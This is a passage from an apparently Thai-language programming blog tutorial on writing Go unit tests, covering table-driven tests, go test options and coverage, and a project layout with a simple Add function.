&#x2514;&#x2500;&#x2500; go.sum</code></pre><ul><li>Folder <strong>cmd</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Application</li><li>Folder <strong>internal</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Package &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Project &#xE19;&#xE35;&#xE49;</li><li>&#xE44;&#xE1F;&#xE25;&#xE4C; <strong>go.mod</strong> &#xE41;&#xE25;&#xE30; <strong>go.sum</strong> &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Dependency</li></ul><p>&#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder <strong>cmd</strong>, <strong>internal</strong> &#xE41;&#xE25;&#xE30; <strong>math</strong> &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; <strong>calculator.go</strong> &#xE41;&#xE25;&#xE30; <strong>calculator_test.go</strong> &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p><strong>calculator.go</strong> &#xE04;&#xE37;&#xE2D; &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE43;&#xE19; Package &quot;math&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Function &quot;Add&quot; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; internal/math/calculator.go
package math

func Add(a, b int) int {
	return a + b
}
</code></pre><p><strong>calculator_test.go</strong> &#xE04;&#xE37;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;</p><p><strong>Function Test &#xE02;&#xE2D;&#xE07; Go &#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE27;&#xE48;&#xE32; &quot;Test&quot; </strong>&#xE41;&#xE25;&#xE30;&#xE2D;&#xE32;&#xE08;&#xE15;&#xE32;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D; Function &#xE2B;&#xE23;&#xE37;&#xE2D; Feature &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE30; Test &#xE42;&#xE14;&#xE22;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;<strong>&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;&#xE40;&#xE1B;&#xE47;&#xE19; Pointer &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Struct T</strong> (*testing.T)</p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> testing &#xE04;&#xE37;&#xE2D; &#xE0A;&#xE37;&#xE48;&#xE2D; Package &#xE41;&#xE25;&#xE30; T &#xE04;&#xE37;&#xE2D; Struct &#xE43;&#xE19; Package &quot;testing&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Method &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Test &#xE40;&#xE0A;&#xE48;&#xE19; Method <strong>Errorf() &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27;&#xE41;&#xE25;&#xE30;&#xE23;&#xE31;&#xE19; Test Case &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;&#xE15;&#xE48;&#xE2D;</strong></p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; internal/math/calculator_test.go
package math

import &quot;testing&quot;

func TestAdd(t *testing.T) {
	result := Add(2, 3)
	//&#xE01;&#xE32;&#xE23; Assert
	if result != 5 {
		t.Errorf(&quot;Add(2, 3) = %d; want 5&quot;, result)
	}
}
</code></pre><p>&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Test &#xE43;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; math
        &#x251C;&#x2500;&#x2500; calculator.go
        &#x2514;&#x2500;&#x2500; calculator_test.go</code></pre><p>&#xE01;&#xE48;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE19; Test &#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go mod init</strong></p><pre><code>go mod init myproject</code></pre><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod</p><figure class="kg-card kg-code-card"><pre><code>module myproject

go 1.21.0
</code></pre><figcaption>go.mod</figcaption></figure><p>&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Test &#xE43;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE19;&#xE35;&#xE49;</p><pre><code>.
&#x251C;&#x2500;&#x2500; cmd
&#x251C;&#x2500;&#x2500; go.mod
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; math
        &#x251C;&#x2500;&#x2500; calculator.go
        &#x2514;&#x2500;&#x2500; calculator_test.go</code></pre><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE30; Test &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go test ./...</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D; Test &#xE17;&#xE31;&#xE49;&#xE07; Project &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; &#xA0;<code>go test ./internal/math</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE30;&#xE1A;&#xE38; Package &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;</p><pre><code>go test ./...
&#xE2B;&#xE23;&#xE37;&#xE2D;
go test ./internal/math </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-30-at-11.43.34-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-30-at-11.43.34-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-30-at-11.43.34-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-30-at-11.43.34-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/07/Screenshot-2024-07-30-at-11.43.34-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Test Case &#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE01;&#xE23;&#xE13;&#xE35;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE43;&#xE19; Function &#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04; <strong>Table-Driven Test</strong> &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Test Case</p><p><strong>Table-Driven Tes</strong>t &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE0A;&#xE38;&#xE14;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A;&#xE15;&#xE32;&#xE23;&#xE32;&#xE07; (&#xE40;&#xE0A;&#xE48;&#xE19; slice &#xE02;&#xE2D;&#xE07; struct) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07; Input &#xE41;&#xE25;&#xE30; Expected Output</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; slice &#xE02;&#xE2D;&#xE07; struct &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; <strong>name</strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE27;&#xE48;&#xE32;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE2D;&#xE30;&#xE44;&#xE23;, <strong>input</strong> (a &#xE41;&#xE25;&#xE30; b) &#xE41;&#xE25;&#xE30; <strong>expected</strong> (&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;) &#xE41;&#xE25;&#xE49;&#xE27;&#xE43;&#xE0A;&#xE49; <strong>t.Run()</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE19; Subtest &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Test Case</p><p>&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; t.Run() &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Go &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE22;&#xE01;&#xE15;&#xE32;&#xE21; Subtest &#xE41;&#xE25;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE27;&#xE48;&#xE32; Test Case &#xE44;&#xE2B;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;</p><p>&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Subtest &#xE40;&#xE23;&#xE32;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Function &quot;Add&quot; &#xE14;&#xE49;&#xE27;&#xE22; Input &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; &#xE41;&#xE25;&#xE30;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; &#xE16;&#xE49;&#xE32;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; t.Errorf() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; internal/math/calculator.go

package math

import &quot;testing&quot;

func TestAdd(t *testing.T) {
    // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07; test cases
    tests := []struct {
        name     string
        a        int
        b        int
        expected int
    }{
        {&quot;positive numbers&quot;, 2, 3, 5},
        {&quot;negative numbers&quot;, -2, -3, -5},
        {&quot;mixed numbers&quot;, -2, 3, 1},
        {&quot;zero and positive&quot;, 0, 5, 5},
        {&quot;zero and negative&quot;, 0, -5, -5},
        {&quot;both zero&quot;, 0, 0, 0},
        {&quot;large numbers&quot;, 1000000, 2000000, 3000000},
    }

    // &#xE27;&#xE19;&#xE25;&#xE39;&#xE1B;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; test case
    for _, tt := range tests {
        t.Run(tt.name, func(t *testing.T) {
            result := Add(tt.a, tt.b)
            if result != tt.expected {
                t.Errorf(&quot;Add(%d, %d) = %d; want %d&quot;, tt.a, tt.b, result, tt.expected)
            }
        })
    }
}</code></pre><p> &#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Test &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go test -v</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Go &#xE41;&#xE2A;&#xE14;&#xE07;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;</p><pre><code>go test -v ./...
&#xE2B;&#xE23;&#xE37;&#xE2D;
go test -v ./internal/math </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-7.47.51-AM.png" class="kg-image" alt loading="lazy" width="1778" height="784" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-31-at-7.47.51-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-31-at-7.47.51-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-31-at-7.47.51-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-7.47.51-AM.png 1778w" sizes="(min-width: 720px) 720px"></figure><p>Test Coverage &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE27;&#xE31;&#xE14;&#xE27;&#xE48;&#xE32; Code &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE16;&#xE39;&#xE01;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE21;&#xE32;&#xE01;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE43;&#xE14; &#xE42;&#xE14;&#xE22; Go &#xE08;&#xE30;&#xE27;&#xE31;&#xE14; % &#xE02;&#xE2D;&#xE07; Coverage &#xE08;&#xE32;&#xE01;&#xE2A;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Statement &#xE43;&#xE19; Code &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE23;&#xE31;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Statement &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</p><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE39; % &#xE02;&#xE2D;&#xE07; Coverage &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go test -cover</code></p><pre><code>go test -cover ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-8.12.11-AM.png" class="kg-image" alt loading="lazy" width="1774" height="216" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-31-at-8.12.11-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-31-at-8.12.11-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-31-at-8.12.11-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-8.12.11-AM.png 1774w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; Coverage 100% &#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE27;&#xE48;&#xE32;&#xE17;&#xE38;&#xE01; Logic &#xE43;&#xE19; Code &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE04;&#xE27;&#xE23;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE04;&#xE38;&#xE13;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07; Test Cast &#xE04;&#xE27;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE44;&#xE1B;&#xE01;&#xE31;&#xE1A; % &#xE02;&#xE2D;&#xE07; Coverage &#xE14;&#xE49;&#xE27;&#xE22;</p><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; Unit Test &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;math&quot; &#xE43;&#xE19; main.go &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; cmd/main.go

package main

import (
	&quot;fmt&quot;
	&quot;myproject/internal/math&quot;
)

func main() {
	result := math.Add(5, 3)
	fmt.Printf(&quot;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE02;&#xE2D;&#xE07; 5 + 3 = %d\n&quot;, result)

	// &#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;
	a := 10
	b := 7
	sum := math.Add(a, b)
	fmt.Printf(&quot;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE02;&#xE2D;&#xE07; %d + %d = %d\n&quot;, a, b, sum)
}
</code></pre><p>&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Test &#xE08;&#xE30;&#xE21;&#xE35;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2502;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; go.mod
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; math
        &#x251C;&#x2500;&#x2500; calculator.go
        &#x2514;&#x2500;&#x2500; calculator_test.go</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE31;&#xE19; Code &#xE08;&#xE32;&#xE01; main.go &#xE17;&#xE35;&#xE48; myproject &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go run cmd/main.go</code> &#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>go run cmd/main.go</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-31-at-9.12.10-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-31-at-9.12.10-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-31-at-9.12.10-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-31-at-9.12.10-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/07/Screenshot-2024-07-31-at-9.12.10-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>Unit Test &#xE01;&#xE31;&#xE1A; Grader</strong></p><p>&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE04;&#xE19;&#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE40;&#xE04;&#xE22;&#xE0A;&#xE34;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1D;&#xE36;&#xE01;&#xE17;&#xE33;&#xE42;&#xE08;&#xE17;&#xE22;&#xE4C;&#xE14;&#xE49;&#xE27;&#xE22; Grader &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Code &#xE44;&#xE1B;&#xE15;&#xE23;&#xE27;&#xE08;&#xE17;&#xE35;&#xE48; Server &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Test Case &#xE44;&#xE27;&#xE49;&#xE25;&#xE48;&#xE27;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32; &#xE42;&#xE14;&#xE22;&#xE21;&#xE32;&#xE01;&#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; Test Case &#xE41;&#xE1A;&#xE1A; <strong>Positive Test (Happy Path)</strong> &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE15;&#xE23;&#xE07;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p>Grader &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE42;&#xE08;&#xE17;&#xE22;&#xE4C;&#xE44;&#xE14;&#xE49;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;&#xE43;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE07;&#xE48;&#xE32;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE32;&#xE19;&#xE31;&#xE48;&#xE07;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE07;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; Programming</p><p>&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Test Case &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE21;&#xE34;&#xE19;&#xE1C;&#xE25;&#xE21;&#xE35;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49; Grader 